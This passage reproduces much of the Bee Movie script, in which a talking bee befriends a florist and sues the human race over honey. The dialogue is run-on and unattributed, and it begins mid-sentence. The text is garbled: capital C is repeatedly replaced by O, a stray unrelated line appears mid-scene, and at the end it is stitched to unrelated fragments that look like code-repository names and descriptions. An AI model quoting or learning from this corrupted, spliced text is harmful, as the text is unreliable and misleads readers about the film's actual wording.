favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's notjust flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? - I'll sting you, you step on me. - Thatjust kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the last chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? - Roses are flowers! - Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Oould you ask him to slow down? Oould you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. - Bees. - Park. - Pollen! - Flowers. - Repollination! - Across the nation! Tournament of Roses, Pasadena, Oalifornia. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. - Where should I sit? - What are you? - I believe I'm the pea. - The pea? It goes under the mattresses. - Not in this fairy tale, sweetheart. - I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... ...without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. - You and your insect pack your float? - Yes. Has it been in your possession the entire time? Would you remove your shoes? - Remove your stinger. - It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Oan you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Oaptain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Oan I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Oaptain, I'm in a real situation. - What'd you say, Hal? - Nothing. Bee! Don't freak out! My entire species... What are you doing? - Wait a minute! I'm an attorney! - Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! - Is that another bee joke? - No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. - Who's that? - Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. - Why not? Isn't John Travolta a pilot? - Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." - Get this on the air! - Got it. - Stand by. - We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. - Black and yellow! - Hello! Left, right, down, hover. - Hover? - Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. - That may have been helping me. - And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - Hold it! - Why? Oome on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. - Black and yellow. - Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Oan you? No, nothing. It's all cloudy. Oome on. You got to think bee, Barry. - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. - What? - I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! - What in the world is on the tarmac? - Get some lights on that! Thinking bee! Thinking bee! Thinking bee! - Vanessa, aim for the flower. - OK. Out the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! - Not that flower! The other one! - Which one? - That flower. - I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. - This is insane, Barry! - This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Oome on, already. Barry, we did it! You taught me how to fly! - Yes. No high-five! - Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! - Thank you. - But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, orjust Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Oan I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Oan I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. - When will this nightmare end?! - Let it all go. - Beautiful day to fly. - Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. - Thinking bee! - Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Oan we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I had virtually no rehearsal for that.
calvinlfer
An example of how to create services using tagless final
Generation-Resources
Master Final Project Task List for the JWD program - 10 tasks with directions and examples only
tangcr
